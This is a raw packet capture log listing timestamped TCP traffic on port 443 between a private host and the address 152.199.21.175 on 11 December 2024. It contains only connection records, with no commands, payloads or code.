Dec 11, 2024 19:23:20.110239029 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.110268116 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.140656948 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.140685081 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.140738010 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.140750885 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.140780926 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.140799046 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.165076971 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.165101051 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.165149927 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.165165901 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.165196896 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.165215969 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.184102058 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.184125900 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.184174061 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.184185028 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.184216022 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.184232950 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.295866013 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.295901060 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.295950890 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.295964003 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.295994997 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.296008110 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.311184883 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.311234951 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.311278105 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.311285973 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.311316967 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.311326027 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.323606968 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.323628902 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.323674917 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.323681116 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.323718071 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.323730946 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.338852882 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.338872910 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.338947058 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.338957071 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.339003086 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.353033066 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.353055000 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.353135109 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.353142977 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.353188038 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.365967035 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.365986109 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.366059065 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.366066933 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.366238117 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.380871058 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.380932093 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.381061077 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.381092072 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.381138086 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.385118961 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.484956980 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.485022068 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.485054016 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.485069036 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.485088110 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.485120058 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.496643066 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.496694088 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.496735096 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.496748924 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.496938944 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.496938944 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.496948957 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.507590055 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.507618904 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.507662058 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.507673025 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.507709980 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.519203901 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.519226074 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.519289970 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.519300938 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.519464970 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.528635025 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.528659105 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.528820038 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.528832912 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.538755894 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.538774967 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.539000034 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.539012909 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.548923016 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.548957109 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.549105883 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.549105883 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.549139023 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.556715965 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.556739092 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.556824923 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.556843996 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.600701094 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.677750111 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.677762985 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.677804947 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.677818060 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.677834988 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.677856922 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.677884102 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.687325001 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.687345028 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.687433004 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.687442064 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.687484026 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.697001934 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.697021961 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.697081089 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.697088957 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.697252989 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.697253942 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.706753969 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.706777096 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.706840992 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.706849098 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.706887960 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.723184109 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.723206997 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.723270893 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.723283052 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.723323107 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.733045101 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.733067036 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.733151913 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.733165026 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.733314991 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.776876926 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.776900053 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.777103901 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.777113914 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.777160883 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.787194967 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.787225962 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.787421942 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.787421942 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.787446976 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.787491083 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.866854906 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.866884947 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.866940022 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.866950989 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.867008924 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.867024899 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.873815060 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.873847008 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.873927116 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.873934984 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.873949051 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.873975992 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.879817009 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.879848003 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.879894018 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.879899025 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.879933119 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.879945040 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.886665106 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.886691093 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.886754990 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.886760950 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.886791945 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.886811972 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.893573999 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.893599033 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.893642902 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.893650055 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.893677950 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.893697977 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.900284052 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.900305986 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.900425911 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.900434017 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.900475025 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.907171965 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.907193899 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.907257080 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.907264948 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.907310963 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.929994106 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.930064917 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.930244923 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.930244923 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:20.930255890 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:20.930335045 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.059221029 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.059250116 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.059320927 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.059354067 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.059381008 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.059403896 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.065192938 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.065212965 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.065294981 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.065305948 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.065350056 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.071196079 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.071217060 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.071291924 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.071300030 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.071346998 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.074980021 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.075058937 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.075077057 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.075146914 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.079914093 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.079956055 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.080010891 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.080018044 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.080049992 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.080061913 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.085558891 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.085603952 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.085642099 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.085648060 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.085676908 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.085697889 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.091439009 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.091480970 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.091533899 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.091541052 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.091569901 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.091588020 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.121577978 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.121629000 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.121730089 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.121752977 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.121932030 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.121932030 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.249630928 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.249722004 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.249737024 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.249768019 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.249798059 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.249816895 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.255409002 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.255453110 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.255491972 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.255522966 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.255546093 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.255582094 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.261181116 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.261204004 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.261259079 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.261286974 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.261307001 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.261327028 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.267055988 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.267077923 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.267147064 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.267168999 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.267213106 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.272500992 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.272533894 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.272588015 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.272604942 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.272619963 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.272649050 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.277452946 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.277476072 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.277544975 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.277574062 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.277590036 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.277616024 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.283364058 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.283385992 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.283437014 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.283468962 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.283490896 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.283509016 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.313684940 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.313750029 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.313807964 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.313838005 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.313857079 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.313882113 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.442643881 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.442673922 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.442728996 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.442754984 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.442770958 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.442800999 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.443450928 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.443507910 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.443516016 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.443548918 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.443562984 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.443594933 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.444647074 CET	49985	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.444660902 CET	443	49985	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.498111010 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.498214006 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.498291016 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.498575926 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.498611927 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.541661978 CET	50000	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.541727066 CET	443	50000	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.541790009 CET	50000	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.542033911 CET	50001	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.542069912 CET	443	50001	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.542124033 CET	50001	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.542227030 CET	50000	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.542249918 CET	443	50000	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.542363882 CET	50001	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.542378902 CET	443	50001	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.582062960 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.582122087 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:21.582176924 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.582436085 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:21.582459927 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.292578936 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.293024063 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.293051958 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.293533087 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.293979883 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.294028044 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.294096947 CET	443	49998	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.347333908 CET	49998	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.504753113 CET	443	50001	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.504955053 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.505028963 CET	50001	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.505064964 CET	443	50001	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.505171061 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.505203962 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.505546093 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.506041050 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.506112099 CET	443	50002	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.506134987 CET	443	50001	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.506169081 CET	50002	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.506212950 CET	50001	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.506525040 CET	50001	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.506592989 CET	443	50001	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.506649017 CET	50001	443	192.168.2.5	152.199.21.175
Dec 11, 2024 19:23:23.506658077 CET	443	50001	152.199.21.175	192.168.2.5
Dec 11, 2024 19:23:23.516603947 CET	443	50000	152.199.21.175	192.168.2.5
